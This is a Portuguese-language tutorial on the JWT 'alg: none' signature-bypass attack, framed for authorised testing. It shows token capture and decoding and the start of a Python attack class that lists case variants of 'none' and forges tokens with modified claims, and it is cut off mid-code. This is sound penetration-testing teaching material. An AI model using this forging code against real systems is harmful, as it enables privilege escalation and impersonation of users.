Realizando Ataque de Algoritmo JWT None

Visão Geral

O ataque de algoritmo JWT none explora uma vulnerabilidade em bibliotecas JSON Web Token que aceitam tokens com o cabeçalho alg definido como none, contornando efetivamente a verificação de assinatura. Quando um servidor processa um JWT com "alg": "none", ele trata o token como válido sem verificar nenhuma assinatura criptográfica, permitindo que atacantes forjem tokens com reivindicações arbitrárias, como privilégios escalados, usuários impersonados ou tempos de expiração estendidos. Essa vulnerabilidade foi divulgada pela primeira vez por Tim McLean em 2015 e afetou várias bibliotecas JWT em diferentes linguagens.

Quando Usar

• Ao realizar avaliações de segurança que envolvam a execução do ataque de algoritmo jwt none
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
• Ao realizar testes de segurança ou atividades de auditoria agendadas
• Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

• Aplicação alvo usando JWT para autenticação ou autorização
• Capacidade de interceptar e modificar requisições HTTP (Burp Suite, mitmproxy)
• Python 3.8+ com a biblioteca PyJWT para criação de tokens
• Compreensão da estrutura JWT (Header.Payload.Signature)
• Autorização para realizar testes de segurança no alvo

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.

Estrutura JWT

Um JWT é composto por três partes codificadas em Base64URL separadas por pontos:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Metodologia de Ataque

Passo 1: Capturar um JWT Válido

Intercepte um JWT legítimo da aplicação alvo usando Burp Suite ou as ferramentas de desenvolvedor do navegador:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Passo 2: Decodificar e Analisar o Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Passo 3: Criar um Token Forjado com Algoritmo None

#!/usr/bin/env python3
"""Ferramenta de Ataque JWT None Algorithm

Cria tokens JWT com o algoritmo 'none' para testar vulnerabilidades de bypass
na verificação de assinatura.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # Todas as variações conhecidas do valor do algoritmo 'none'
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Codifica em Base64URL sem preenchimento."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Decodifica em Base64URL com restauração de preenchimento."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decodifica o cabeçalho e a carga útil do JWT."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Cria um JWT com o algoritmo none e carga útil modificada."""
        # Cria o cabeçalho com o algoritmo none

…